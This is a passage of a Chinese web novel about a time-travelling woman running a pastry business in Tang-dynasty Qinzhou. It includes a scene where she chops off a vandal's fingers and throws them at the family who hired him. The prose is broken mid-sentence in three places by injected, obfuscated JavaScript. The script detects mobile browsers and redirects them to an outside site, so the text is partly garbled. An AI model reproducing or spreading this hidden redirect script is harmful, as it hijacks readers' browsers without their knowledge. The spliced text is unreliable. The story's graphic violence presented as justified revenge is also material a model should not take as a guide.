也是给她提了个醒，她一介手无缚鸡之力的小娘子，若是没个护卫的，遇上麻烦恐怕多半吃亏。 “娘子心善，我去开药，一会儿送到娘子这里来便是。” 谢过郎中后，裴清梧回去看了一眼那少年，仍旧在昏睡，但暂时应当没什么大碍了，便先去厨房，琢磨点心。 除了龙须酥，她还想做些鲜花饼出来。 先前备好的猪油尚有余温，将其倒入精细筛过的麦粉中，以竹筷徐徐搅动，揉捏按压，渐渐揉出一团细腻光滑的油酥面团，置于一旁醒着，又另取面粉，加入些许井水与一点酪浆，反复揉搋成软硬适中的水面团。 待面团醒好，擀开成薄片，包裹住油酥面团，捏紧边缘，复又擀开叠起，如此三番，方得层次分明的酥皮。 取小块酥皮，填入满满一勺蜜渍玫瑰酱，捏拢成小儿拳头大小的扁圆饼胚，最后找来一个刻着简单缠枝纹的鹅形陶制小印模，在饼胚表面轻轻一压，留下雅致的纹样。 胡炉里的炭火已烧得通红炽热，做好的生饼胚一个个贴在炉膛内壁，小心掌控着火候。 炉温催逼下，酥皮迅速膨胀，色泽由白转黄，渐次染上诱人的金棕焦边。 不多时，馥郁扑鼻的甜香混合着麦香油脂香，冲破了灶间的烟火气，丝丝缕缕溢满了小小的院落。 “滋啦”一声轻响，裴清梧用长柄铁铲将第一炉几个烤好的鲜花饼铲出炉膛。 那饼子酥皮层层分明，边缘金黄焦脆，印模压出的花纹清晰可见，隐约透出内里深艳的馅色，热气腾腾地躺在粗陶盘中，香气更是汹涌澎湃。 恰在此时，身后榻上传来了带着痛楚的细微抽气声。 裴清梧回身望去。 只见床榻上的少年已然醒了，一双黑白分明的眼睛睁得极大，如同受惊的幼鹿，紧紧锁定着她，身体僵直，满是警惕与不安。 他显然听到了铲饼的声音，也闻到了那浓郁甜香，但身体的重伤和对陌生环境的疑虑压倒了饥饿感。 裴清梧心下了然，并不立刻靠近，而是从容地拿起一个刚出炉的鲜花饼，轻轻吹了吹气，缓步走到离榻几步远的地方停下。 “醒了？折腾这半晌，肚腹空空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾恒猛地抬头，对上裴清梧含着笑意的清澈眼眸，脸更红了，嘴唇动了动，终究倔强地别过头去，不肯叫出声。 裴清梧也不强求，换了个话题：“顾恒，你家在何处？是何营生？缘何落得这般重伤，流落至此？” 她顿了顿，补充道：“总要知晓根底，才好与官府报备留客。” 提到这个，顾恒身体瞬间绷紧，眼神再次变得警惕防备，垂着头，双手死死攥紧了盖在身上的粗布被褥，紧抿双唇一言不发。 裴清梧看他反应，心中早已猜到了几分，她轻叹一声：“顾恒，你瞧我，一介手无寸铁的小娘子，在这偌大秦州城，赁此陋舍，做些点心糊口，白日里你也见了，若无倚仗，遇上些泼皮无赖，便是有理也难说清。” 顿了顿后，目光坦诚地看向他：“你身手看来不错，胆子也够大，我身边正缺个能看顾门户、震慑宵小的护卫，你若愿意，我雇你，只管吃住，月钱另算，如何？” 顾恒猛地抬眼，怔怔地看着裴清梧，仿佛在确认她话中的真假。 “只是……”裴清梧话锋一转，正色道：“你若留下，身份来历便不能含糊，官府户籍，可是查验得紧，不明不白的人，我也不敢收。” 长久的沉默笼罩着小小的斗室，只有胡炉里的炭火偶尔发出轻微的噼啪声。 顾恒的胸膛剧烈起伏着，仿佛内心经历着剧烈的挣扎。 终于，他像是耗尽了所有力气，闭上眼，声音干涩沙哑地开了口，每一个字都带着屈辱和痛苦：“我家在大市坊西南曲巷醉月楼，阿娘是里头一位花魁娘子，不知父为谁……后来鸨母见我、见我颜色好……逼我做、做……”他艰难地吐出那耻辱的称呼：“做嬖童接客……我不肯，就被、被打成这般……还是阿娘偷偷放了我……” 说到最后，他的声音已低不可闻，身体微微颤抖，将脸深深埋进臂弯，不敢去看裴清梧的表情。 低贱的伎人之子，险些沦为玩物的出身，在这世间，只会遭人唾弃。 然而，预料的奚落并未到来。 一只温暖的手，带着轻柔的力道，落在他因紧张而微微发抖的发顶，轻轻地揉了揉。 顾恒浑身一僵，难以置信地抬起泪眼朦胧的脸。 只见裴清梧脸上并无半分轻视鄙薄，眼神平静，甚至还带着一丝温和的怜悯。 “明白了。”她收回手：“放心在我这儿养伤。待你伤好些，能行走了，我便带你去州衙。” 顾恒惊愕地瞪大了眼。 裴清梧微微一笑：“销了那劳什子贱籍，你就再也不用担心醉月楼的人找上来了。” 4. 有仇必报 说话间，郎中已拿了药来，用粗麻纸分包好，又细细叮嘱了煎制之法与服用时辰。 裴清梧接过药包，正欲取铜钱付账，郎中却摆手止了她。 “小娘子且收着吧。”郎中望着里屋榻上隐约的人影，轻叹一声：“看这少年郎遭此横祸，也是可怜见的……小娘子营生不易，某这药钱，便先赊着，待日后手头宽裕了再说不迟。” 裴清梧一怔，随即敛衽福身，语气恳切：“多谢郎中体恤，这份情分，清梧记下了。” 郎中摆摆手，自去了。 次日天刚蒙蒙亮，裴清梧便起身，在小泥炉上支了铁锅，添了井水。 待水沸，取出发好的面剂子，巧手翻飞，不多时便捏出数十只薄皮小馄饨，个个玲珑剔透，如白蝶浮水。 又调了汤底，撒上葱花姜末，滴几滴香油，霎时香气便弥漫开来。 她端着两碗热气腾腾的馄饨进屋时，顾恒已醒了，正靠在榻头，见她进来，眼神依旧带着几分戒备，却不如先前那般紧绷。 “刚出锅的馄饨，趁热吃吧。”裴清梧将一碗放在他手边的矮几上，自己端了另一碗，在对面坐下。 碗中汤色清亮，馄饨皮薄如纸，隐约可见碧茵茵的茴香内馅，葱花翠绿，香油浮面，热气袅袅间，那股鲜醇香气直往人鼻腔里钻。 顾恒喉结动了动，终究抵不过腹中空空与食物的诱惑，小心翼翼地端起碗，用木勺舀了一个，吹了吹，送入口中。 皮薄馅鲜，汤汁醇厚，暖意顺着喉咙滑下，熨帖了五脏六腑。 他许久未曾吃过这般热乎妥帖的吃食，一时间竟忘了防备，连吃了几个，才想起什么似的，抬眼看向裴清梧，见她正安静地吃着，并未留意自己，便又低下头，加快了速度，只是动作间已收敛了昨日的狼吞虎咽。 吃完馄饨，裴清梧收拾了碗筷，对顾恒道：“我今日还得去街上卖点心，你且在家歇着，看好门户，莫要乱走动，免得牵动伤口。” 顾恒默不作声地点点头，看着她将龙须酥与鲜花饼分装在食盒里，又取了一叠裁好的素色笺纸，上面用小楷写了“酥山小集”四字，旁侧还细细描了朵简单的玫瑰，底下是她赁居的巷弄地址。 昨晚她想了许久，才决定取“昨夜如酥山雨来，幽禽啄尽小桃开”①之意，有了这么一个别致的名字，应当能在什么阁什么记中脱颖而出。 “这是？”顾恒忍不住开口，声音还有些沙哑。 “摆摊终归不是长远计，便想着做些这个，遇着相熟的主顾，便递一张，也好让他们知晓去处，等再赚些钱，就将前院改成铺面，省的风里来雨里去。”裴清梧笑了笑，将笺纸折好，放进食盒侧袋里：“你且歇着，我去去就回。” 说罢，她提着食盒出门，往昨日摆摊的露水市而去。 才到街口，便有昨日买过龙须酥的老主顾迎上来：“小娘子，今日有那雪花儿一样的糕点么？昨日瞧着旁人吃的香，自个儿没买着，心里直痒痒。” “有的，不仅有龙须酥，还有新做的鲜花饼，刚出炉呢。”裴清梧笑着应道，打开食盒，霜雪万缕的龙须酥和金黄油亮的鲜花饼露了出来，香气四溢。 随着她的吆喝，和老主顾的前来，不多时，围拢来的人便多了起来，你一块我一盒，叫卖声夹杂着铜钱碰撞的脆响，不到一个时辰，食盒便空了大半。 遇着熟客或是问起常卖处的，她便递上一张素笺：“这是奴家住处，若不嫌弃，可上门来寻。” 众人见那笺纸做得雅致，字迹娟秀，都觉新奇，纷纷收下，赞不绝口。 “裴小娘子心思巧，这般法子倒省事。” “往后想吃点心，便照着这地址寻去，省得跑空。” 日头渐高时，点心已卖得差不多了。裴清梧收了摊子，想着顾恒的伤，又绕去药铺，将郎中赊的药钱还了些，才提着空食盒往回走。 若要把生意做大做强，只她一人哪里忙的过来？等再赚些钱，一定要聘几位点心师傅来，一起忙活。 正想着，一阵肉香扑鼻而来，裴清梧下意识望去，是从一个肉包子摊子上传来的，主事的汉子一边拿巾帕擦着汗，一边掀开蒸屉，露出里边的包子来，个个圆圆胖胖，可把裴清梧馋死了。 自从穿来这个时代，为了省钱，她好久没吃肉了，今儿早上的馄饨也是茴香素馅的，一闻到这个味，泪水就不争气地从嘴角流了下来。 问明七文钱一个后，裴清梧痛痛快快买了三个。 花了二十一文不耽误攒钱，别亏了这张嘴才重要。 顾不得烫，裴清梧当即就拿了一个吃，肉是精瘦肉，剁得细细的，搀了胡椒，入口汁水四溢，满是肉香。 好吃！ 一直吃完，裴清梧才想起来，如今小院里不只自己一个人，还有顾恒这么个半大小子呢，连忙又买了三个，放在食盒里妥帖地带回去。 甫一推开院门，裴清梧就觉不对。 “你回来了？”顾恒的声音远远传来，而后，他从里间屋子里走了出来，伤还没彻底养好，一张脸犹显苍白，却比昨日被捡到的时候，多了几分生气。 “是……发生什么事了吗？”裴清梧问道。 顾恒点点头：“嗯。” 而后他侧开身，屋子敞着门，裴清梧是能看见地上躺了一个人，被五花大绑着，嘴里还堵了东西，正是昨日来闹事的黄脸汉子。 “他怎么又来了？” “我在里边闭目躺着，忽然听见一阵动静，这人不知怎么摸了进来，鬼鬼祟祟的，要砸你的院子。”顾恒厌恶道：“好在我发现的及时，才没造成什么损失。” “别啊！”裴清梧一听，大惊失色。 这院子里的炊具食材，可都是她安身立命的本钱，真要被毁了，她是要跟那些人拼命的。 她连忙过去查看，果然如顾恒所说，有几罐玫瑰酱已经被砸翻在地，红艳艳的洇透了糯米粉，混杂着灰尘，一片狼藉。 “这……”裴清梧倒吸一口凉气，只觉得心头那股怒火再也压不住。 好在顾恒发现得及时，除了这几罐酱和粉遭殃，灶上的铁锅蒸屉，盛放点心的竹篾笼等重要家什都完好无损。 饶是如此，看着辛苦熬制的玫瑰酱和准备做点心的糯米粉糟蹋成这样，也足够让她心痛难当。 强压下翻涌的怒意，转身对顾恒道：“多亏你了，若非你机警，今日怕是要遭大难。” 说完，她想起手里的肉包子，忙取出来递给顾恒：“快吃点垫垫，看你这脸色白的，肉包子，新出炉的！” 顾恒接过包子，目光在她脸上停留片刻，低声道：“特意带给我的？” 裴清梧被他看得有些心虚，面上努力维持着镇定，避开他的视线，含糊应道：“嗯，快趁热吃吧。” 安抚了顾恒，裴清梧的脸色瞬间沉了下来。 她走到那被捆着的黄脸汉子面前，居高临下地看着他，顾恒则一手拿着包子，另一手默契地将他口中的破布扯掉。 那汉子一能开口，立刻涕泪横流地求饶：“小娘子饶命！小娘子饶命啊！我、我也是猪油蒙了心，收了别人的钱，替人办事……求小娘子高抬贵手，莫要送我去见官！我再也不敢了！” “饶命？”裴清梧厉声道：“昨日便红口白牙污蔑我，今日还竟敢闯进来毁我家当！说，哪只手砸的？” 汉子浑身发抖，下意识地想缩回右手，却被捆得动弹不得，只得哭嚎道：“是、是右手……小娘子饶了我吧！” 裴清梧不再多言，转身走到灶边，从刀架上取下一把平日里切菜剁馅的厚背菜刀，而后走回汉子面前。 顾恒见状，眉头蹙了一下，但并未出声阻拦，只是绷紧了身体，警惕地盯着那汉子。 汉子见那寒光闪闪的菜刀，吓得魂飞魄散，泄物齐流，哀嚎震天：“别！别剁！小娘子饶命！饶命啊！” 裴清梧眼神冷冽，不为所动，只示意顾恒按住那汉子的右手臂。 “说！谁指使你的？供出幕后主使！否则，你这只手，就别想要了！” “我说！我说！”恐惧瞬间压倒了所有顾虑，汉子嘶声喊道：“是孙成！还有他那老娘刘氏！是他们给了我五百文钱，让我来砸了你的院子，毁了你的营生！是他们！都是他们指使的！”他涕泪糊了满脸，语无伦次：“求小娘子饶了我吧！我再也不敢了！” 孙成？刘氏？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230892|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这两个个名字像一根冰冷的针，刺中了裴清梧的记忆。 竟是这两个不要脸的东西。 再仔细看地上这涕泪横流的汉子，怪道昨日觉得熟悉可不就是刘氏娘家那边一个游手好闲的远房亲戚吗，家里似乎也摆个小摊，卖些粗劣点心，但平时少有人光顾。 原来如此！ 被告到官府挨了板子的妒恨，加上对她生意的眼红，竟让他们使出如此下作的手段。 裴清梧冷哼一声，眼中寒意更盛，没有丝毫犹豫，手起刀落。 “啊——！！！”一声凄厉的惨叫猛地响起，又戛然而止——汉子竟生生痛晕了过去。 地上，两根属于手指赫然滚落，鲜血瞬间涌出，浸湿了地面散落的糯米粉和灰尘。 裴清梧面不改色，仿佛只是切了两根萝卜，她用刀尖挑起那两根滴血的断指，走到院中水缸旁，舀水草草冲了一下血污，顺手从晾晒的竹竿上扯下两片宽大的新鲜荷叶，将那两根断指仔细包裹起来，扎紧。 “让他滚，然后等我回来。”她对着屋内眼神复杂的顾恒说罢，提着那包着断指的荷叶包，头也不回地大步走出院门，朝着孙家的方向，疾步而去。 因怀着愤怒，裴清梧脚下生风，不多时便来到孙家宅院。 孙家大门正好虚掩着，她抬脚便踹了进去。 “砰！”的一声巨响，惊动了院内众人。 刘氏正坐在廊下嗑着瓜子，指挥着小女儿晾晒东西，闻声吓了一跳，扭头看见是裴清梧，三角眼立刻倒竖起来，刻薄话脱口而出：“好你个丧门星的小贱蹄子！竟敢踹我家的门？这般撒泼，你……” 她话音未落，一个带着浓烈血腥味的荷叶包被裴清梧狠狠砸在她面前的地上。 荷叶包滚了两滚，松散开来，两根惨白带血的手指赫然滚落在刘氏绣花的鞋尖前。 老虔婆脸上的刻薄瞬间化为极致的恐惧，血色“唰”地褪得一干二净，整个人像被抽了骨头似的猛地向后软倒，连叫唤都忘记了，只顾着手脚并用、连滚带爬地向后退去，直到脊背重重撞在廊柱上才停下。 她双眼瞪得几乎要脱出眼眶，死死盯着地上那两根断指，嘴唇哆嗦得如同风中落叶，仿佛下一秒就要背过气去。 尚且年幼的孙家小女更是吓得魂飞魄散，尖叫连连，躲得远远的。 裴清梧立在院中，身影纤瘦，却带着一股令人胆寒的煞气，她冷冷地看着抖成一滩烂泥的刘氏，声音不大，却清晰至极，每一个字都像冰锥子，狠狠扎进刘氏的耳朵里：“刘氏，认得这物件么？” 刘氏浑身剧震，目光死死钉在那两根断指上，一股寒气从脚底板直冲天灵盖。 她当然认得，那是她娘家不成器的远亲，刘狗儿的右手食指和中指，指头上那颗痣，再好分辨不过了。 “认、认得……”刘氏的声音抖得不成样子，带着哭腔：“是、是狗儿……你……你好狠的心肠！你竟敢……” “我狠毒？”裴清梧唇角勾起一抹冰冷的弧度，向前逼近一步，逼得刘氏又惊恐地往后缩，恨不得把自己嵌进廊柱里。 “若非我那小院有人警觉，我辛苦置办下的炊具食材，安身立命的根本，此刻怕已化作一地狼藉！砸人生计，断人活路，这就不叫狠毒？刘狗儿已然全招了，拿人钱财，替人消灾……”她顿了顿，目光牢牢锁住刘氏那张因恐惧而扭曲的脸：“先是当街造谣，后是遣人毁家，步步紧逼，真当我是那没脚蟹，任凭揉搓不成？” 刘氏被她眼中的杀气和地上那刺目的断指吓得魂飞魄散，又惊又怒，更兼心虚到了极点，浑身抖如筛糠，只能死死抓着廊柱，连一句完整反驳的话都说不出来。 “今日你且记着，等你家二郎回来，也烦请转告……”裴清梧的声音陡然拔高：“再有下次，无论是他亲自来，还是派些阿猫阿狗来，砸我一件物什，我便断你们一肢！不信，大可试试！” 最后一个字落下，如同冰珠坠地，带着森冷的回响。 裴清梧冰冷的目光扫过面无人色的刘氏，和噤若寒蝉的孙小妹，再不多看一眼，转身拂袖而去。 留下身后一片死寂和空气中弥漫不散的浓重血腥与恐惧。 5. 难得机会 唐朝律法还是很注重保护个人安全了，且是刘氏母子先买凶在前，真闹到官府前也无理，裴清梧料定了他们会吃这一个哑巴亏，所以才敢如此行事。 想来，这么闹一下，刘氏母子是能安分几日的。 几日摆摊卖点心，裴清梧赚到了不少钱，小院也翻修了一下，前院临街的屋子改成了点心铺，将原本的院墙打通，装上了几扇可拆卸的厚重木门板，白日里尽数卸下，整个铺面便敞向街市，夜晚闭上，就是独属她自己的家。 铺子内侧，靠墙一溜排开的是新打的结实木架，上面整齐码放着数个宽口浅沿的竹编簸箕，垫着干净的白麻布，盛满了金黄酥脆的各式点心，有如千层霜雪的龙须酥、香气扑鼻的鲜花饼、裹着蜜糖的酥皮果子…… 每种点心簸箕前，都挂着一个打磨光滑的小木牌，用墨笔清晰地写着点心名目与价格。 铺子中央最显眼的位置，是一张半人高的长条形柜台，柜台面打磨得光洁平整，上面摆着几个敞口的青瓷碟子，展示着当日最精致的几样点心样品，方便客人挑选，柜台靠外侧的边缘微微高出几分，防止点心滚落。 柜台一角，嵌着一个带盖的木制小钱匣子，收钱找零甚是方便。 柜台内侧靠墙的地方，挨着点心架，安置了一个小小的泥炉，上面坐着一把陶壶，壶嘴里偶尔逸出淡淡的水汽，既能温着些需热食的点心，也能随时备着热水招待熟客。 整个铺面虽不大，陈设也简单，但处处透着干净整洁与实用便利，弥漫着新鲜点心的甜香，吸引着过往行人的目光。 只有一点，裴清梧犯了愁。 开店没有牌匾可不行，可自己的那手小楷太过娟秀，似乎不太适宜做门头揽客。 要不，哪天去找曾经帮助过自己的张公张俭，求求他帮自己写一副？ 还未等真正行动，那日，她正在后院研究如何在此时代做正宗的常州大麻糕出来，便见顾恒自店内过来。 “东家，有人找。” 顾恒死活不肯管她叫一声阿姐，裴清梧拗不过来，只好随他去了。 “谁啊。”她拍了拍手上的面粉，疑惑地问道。 “看样子，应当是哪家高门显贵的小娘子。” 这个时代贵庶分明，是专门上了律法的，衣食住行都有严苛的区别，顾恒又是在青楼这种复杂的地方长大，自然一眼能辨别。 “行，我去看看。”裴清梧赶紧将自己收拾好，过去查看。 柜台前，站了一位身着靛蓝细麻布衫的中年妇人，头戴素银簪、神色端肃的，身后几步开外，临街停着一辆装饰雅致却不失贵气的青帷油壁马车，车辕旁侍立着两位垂手恭谨的小厮，车窗帘幕低垂，隐约可见内里端坐着一个纤细的身影。 那妇人见裴清梧出来，目光锐利地上下打量了她一番，才微微颔首：“这位便是酥山小集的东家裴娘子？” “正是奴家。”裴清梧福了福身，礼数周到。 这妇人的仪态规矩，显然是高门大户里训练有素的仆妇。 “我家娘子乃秦州刺史赵公府上千金，娘子听闻裴东家点心手艺绝佳，特来相见，娘子身份贵重，不便轻入市井铺面，请东家移步车前叙话。” 裴清梧心中了然，刺史千金，封疆大吏之女，确实是顶顶的贵人，在这阶层森严的朝代，贵女不入市肆乃是常理，能亲临她这小铺门口已是难得，要求她上前回话更是理所当然。 她并未感到被冒犯，反而觉得这是个极好的机会——若能接下刺史府邸的宴席点心订单，对她这小店的名声和日后生计，都将是莫大的助益。 “是，奴家遵命。” 走出敞开的铺门，来到那辆散发着淡淡檀木清香的马车旁站定，阳光透过细密的珠帘缝隙，隐约勾勒出车内少女端坐的轮廓。 “娘子，东家来了。”妇人恭敬道。 珠帘被一只素手拂开，露出里边端坐的少女，约莫十五六岁的年纪，肌肤莹白如凝脂，眉眼弯弯似新月，着一袭烟霞色蹙金绣襦裙，鬓边斜插一支累丝嵌宝金步摇，随着她轻抬眼帘的动作，步摇上的珍珠流苏轻轻晃动，映得日光都添了几分柔和。 “久闻裴东家之名，我早听府里人说过，裴东家之前在公堂上引经据典，驳斥得婆家人哑口无言，还得了阿爷判的自立女户文书，当时便觉得这位娘子定然不凡……” 少女的声音也是清泠悦耳，宛如珠玉轻碰：“后来又尝过侍女带回来的点心，觉得不凡，正好过几日我在府中设小宴以招待相熟的姐妹们，那些厨子做的我都吃絮了，不知裴东家可愿接下这个活计，所需材料、工钱，只管开口，我绝不含糊。” 裴清梧心中一定，知道重头戏来了，这何止是一桩生意，更是难得的机缘，若是赵娘子和她的朋友们满意，岂不是揽客的活招牌。 她微微欠身，郑重应道：“承蒙赵娘子青眼，奴家敢不从命？必当竭尽所能，不负所托。只是不知宴席规模、宾客偏好，以及所需点心的种类数量几何，以及娘子偏好何种口味？或是有什么忌讳？妾身也好提前备下，拟定几样拿手且合用的点心单子供娘子参详。” 赵娘子似是沉吟了片刻，站在一旁的仆妇立刻默契地代为开口，开始详细交代宴席细节与要求。 裴清梧专注地听着，心中飞快盘算着各种点心的搭配与可行性。 “席间都是秦州城内与我要好的小娘子，口味倒无甚挑剔，只是要些样式精巧、滋味新奇的便好！材料嘛，府里库房都有，我这就让人随你去取，或是你列个单子，让他们采买也成……素秋。” 伴在她身侧的侍女立刻恭敬地应了一声。 “把银子给裴东家。” “是。”那唤素秋的侍女往妇人手里递了个精巧的荷包，妇人又递给裴清梧，拿在手上掂了掂，份量不小。 “若是做的好，我另重重有赏。” 裴清梧当即眼睛一亮：“谢娘子抬爱，奴家定不负娘子厚望！” 赵娘子轻轻笑了一下，放下珠帘，侍立的小厮立刻催车夫驾车离去。 裴清梧立刻折返回店内，拆开荷包一看，里头竟是白花花的银子，足足有十两！ 高中的时候听历史老师说，别看古装剧里动不动赏银的，实际银子在古代，只有达官贵人才用，寻常老百姓可能到老都见不到一两银，穿越之后，裴清梧也的确只见铜板不见白银，乍一看，险些被晃花眼。 十两银等于一万文钱，可买一千到三千三百斗米，按现代四元一斤的米价算，相当于五到十六万人民币了。 如果，赵娘子满意，还赏银子的话…… 发财了发财了！ 顾恒来的时候，见到的就是自己东家捧着个荷包，傻乎乎地笑着。 “东……” 裴清梧一把抓住他的手，眼中闪着狂喜的光：“阿恒，你东家我要发财了！银子，白花花的银子啊……” 顾恒被她抓得长眉微蹙，嘶嘶倒抽冷气：“东、东家……疼，疼……” 裴清梧这才慌忙松手。 激动过后，便是考量。 赵娘子生在锦绣堆，一应吃食，无不精细，眼光会很高，那么，准备什么，才会让她满意呢？ 正思索着，刺史府已经来了两位仆妇，请裴清梧前往府中看点心材料。 嘱咐好顾恒看好家后，裴清梧跟她们上了马车。 这还是她第一次坐马车，与想象中的颠簸不同，良骏跑得极稳，车内铺着柔软的锦缎坐垫，触手生温柔角落固定着一张精巧的小几，上头搁着个小小的青瓷香炉，一缕若有似无的檀香缭绕，与车壁散发的木香融为一体，比现代的好多网约车出租车还舒服。 而这，仅仅只是两位仆妇出门时所坐。 裴清梧对古代“高门显贵”四个字，算 是有了切身体会。 一路穿街过巷，只觉秦州城的喧嚣鼎沸扑面而来。 青石板路被无数车辙马蹄踏磨得光润如鉴，两旁店铺的幡旗绣着各色纹样，在风中猎猎招展，胡商操着浓重的异域口音吆喝香料宝石，夹杂着中原货郎清亮的叫卖声，一同此起彼伏，驼铃叮当与马蹄得得汇成一片喧阗的市井洪流，昭示着这丝路重镇的不凡气度。 行至刺史府邸，那威严气象更是令人屏息。 朱漆府门巍峨高耸，其上金钉熠熠生辉，足显三品大员之威仪，石阶如砥，两侧石狮昂首踞坐，鬃毛虬张，爪牙森然，双目如炬俯瞰街衢，寻常人等未及近前，已自心生敬畏。 门楣之上，“赵府”二字的鎏金匾额灿然生光，字迹遒劲，应是当朝某位名公手笔，透着煊赫与尊荣。 门房仆役身着锦缘皂衣，腰悬铜牌，肃立如松，眼神锐利地扫视着往来动静，气度森严，远非寻常富户可比。 入得府门，绕过精雕细琢、绘有祥云瑞兽的影壁，眼前豁然开朗。 抄手游廊九曲回环，廊柱皆以丹砂涂饰，梁枋彩绘着飞天乐伎、山海珍禽，绚丽夺目，廊下每隔几步便悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230893|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着琉璃风灯，白日里亦流光溢彩，可想见入夜后是何等辉煌。 往□□院深深，奇花异草依太湖石堆叠的假山布置，更有几株西域移来的珍品，嫣红姹紫，吐露异香，汉白玉砌就的雕栏环绕着一方碧波池水，池中锦鲤如霞，悠游自得。 其间仆婢如织，皆衣饰鲜洁，步履轻快，有捧着鎏金托盘疾步而过的侍女，盘中时令鲜果堆叠如小山；有手执拂尘、侍立廊下的管事，神态恭谨却不失威严；还有怀抱各色物品的杂役穿梭于月洞门间……端的一派钟鸣鼎食之家、勋贵权门的气象。 两位仆妇引着裴清梧一路走，绕过主院那气派非凡的五间九架正堂，穿过一道垂花门，方至一处较为清幽雅致的跨院，院中栽着几竿翠竹，一架荼蘼，虽少了前庭的张扬，却也透着低调的精致与考究。 库房便在此院，其中一位张妈妈推开厚重的楠木门扇，堆笑道：“裴东家请入内随意拣选，府中所藏之物，皆为上品佳物，尽管放心取用便是。” 库房内，米面粮油堆积如山，新舂的粳米粒粒莹润似玉，上等的雪花盐如霜似雪，蜜饯果脯盛在阔口琉璃罐中，琥珀色的杏脯、玛瑙般的樱桃煎、晶莹的梨膏糖诱人垂涎，各色坚果分门别类，栗子饱满如金丸，松子清香扑鼻。 更有那远道而来的珍奇，西域贩来的葡萄干紫玉流光，饱满欲滴；波斯国的金黄胡桃壳薄仁香；角落里还码放着几匣来自岭南的椰枣、安南的香橼……琳琅满目，香气氤氲，仿佛囊括了半个天下的物华天宝。 豪横，太豪横了。 心念流转间，裴清梧询问道：“妈妈盛情，清梧铭感五内，府上食材果然精良非凡，令人大开眼界，不知府上可有新鲜洁净的牛乳？或是凝结的奶皮子？” “奶皮子？”张妈妈眼中掠过一丝讶异，随即笑道：“东家放心，新鲜酪浆和乳糜，自是每日庖厨新制的，这奶皮子虽稀罕些，府上却也常备，多是胡姬烹制奶茶凝出的精华，最是香浓养人，我这就着人速速取来。” “有劳妈妈。”裴清梧道谢，目光却不由自主地飘向库房角落，那里安静地放置着几件厚重古朴的石器。 巨大的石磨盘槽口光滑，乌亮的石臼沉稳敦实。 《齐民要术》有载“抨酥法”，需反复捶打分离乳脂，耗时费力，若想尝试做出现代蓬松暄软如云朵的蛋糕，或是酥脆掉渣、奶香四溢的酥饼，非得设法改良这油脂提取不可。 交代过后，裴清梧背着手，视察一般在库房中游走，目光落在西域胡桃与杏仁上，灵光一闪——若用石磨细细研磨炒熟的胡麻杏仁，或许能榨取出更纯净细腻的胡麻油或杏仁油？而后以这个时代的奶皮子为基础，反复过滤捶打，能否分离出更纯粹的乳脂？纵无冰箱冷藏定型，但为了解暑，高门显贵们皆会窖藏冰块，也许能用上。 思量间，正思量间，一名青衣小婢捧着个素面阔口的越窑青瓷大碗，步履轻快地走来。 碗内凝着一层厚逾一指的奶皮，其色泽微黄，凝脂如玉，浓郁的乳香随着小婢的靠近，幽幽弥漫开来，纯粹得不掺一丝杂味。 “裴娘子要的，可是此物？” “我看看……”裴清梧小心翼翼地接过瓷碗，试探着碰了碰，指尖立刻感受到那凝脂般柔腻厚实的触感，浓郁的奶香钻入鼻息，让她心头一阵抑制不住的雀跃。 此物，正是她这个鬼主意的关键。 用一把小银匙，于边缘小心翼翼地刮取下一片薄薄的奶皮，置于掌心，迎着窗外斜射进来的天光，细细观察其细腻的纹理与半透明的光泽。 含脂量不错，应该能成。 “烦请妈妈，再为我准备一个结实些的深腹陶钵、一支木杵，还有一小桶洁净的井水，最好能透心凉的那种。”裴清梧转头对张妈妈说道。 张妈妈虽心中疑惑，但见她神情郑重，又有自家娘子嘱咐，立刻吩咐小婢去准备。 不多时，器物齐备。 裴清梧看着眼前齐全的东西，系上围裙，搓了搓手，准备大干一场。 这要做好了，可真是银子来银子来，银子从四面八方来，说不定还能搭上大主顾，有个做生意的靠山。 裴清梧先将那碗珍贵的奶皮小心翼翼地刮入陶钵中，置于盛放冰凉井水的木桶里降温，权作模拟低温环境。 而后，便拿起沉重的木杵，开始沿着陶钵内壁，用力且匀速地搅打那凝脂状的奶皮。 “笃、笃、笃……” 沉闷的捶打声在安静的库房内响起。 6. 新鲜点心 起初，奶皮只是被捣碎，变成更细小的凝块，裴清梧的手臂很快开始酸胀，但她不敢停歇，脑中反复回忆着打发奶油的原理——通过搅打迫使空气进入脂肪颗粒，破坏其原有结构，使其包裹空气膨胀。 这在没有乳化剂和低温恒温的古代，无异于一场豪赌。 汗水渐渐浸湿了她的鬓角，张妈妈和小婢在一旁看得目瞪口呆，不明白这捶打有何意义。 时间一点点流逝，钵中的乳脂由块状变得粘稠，颜色似乎也略略变浅了些，散发出更加浓郁的奶香，裴清梧咬紧牙关，加快了速度，变换着捶打的角度，手臂的酸痛已近极限，就在她快要放弃时，一丝微不可察的坚韧感从木杵下传来。 她敏锐地察觉到变化，立刻更加专注地沿一个方向用力搅打。 